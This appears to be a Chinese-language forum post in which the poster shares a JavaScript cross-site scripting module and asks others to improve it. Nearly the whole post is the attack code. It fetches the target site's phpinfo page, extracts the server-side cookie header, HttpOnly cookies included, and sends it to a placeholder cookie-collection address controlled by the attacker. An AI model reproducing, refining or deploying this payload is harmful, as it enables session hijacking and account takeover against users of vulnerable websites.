这个模块是之前收集的 实现 是实现了 可是有点不完善纳 有大佬给改改吗
模块代码
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function getS() {
var Url = 'PHPinfo的地址';
createXmlHttp();
xmlHttp.onreadystatechange = writeS;
xmlHttp.open("GET", Url, true);
xmlHttp.send(null);
}
function writeS() {
if (xmlHttp.readyState == 4) {
var x = xmlHttp.responseText.match(/<td[^<>]+?>_SERVER\["HTTP_COOKIE"\]<\/td><td[^<>]+?>([\w\W]+?)<\/td>/);
if (x){
var url = "自己收取cookie的地址" + x; //x 为带httponly cookie的所有cookie
createXmlHttp();
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
}
}
}
getS();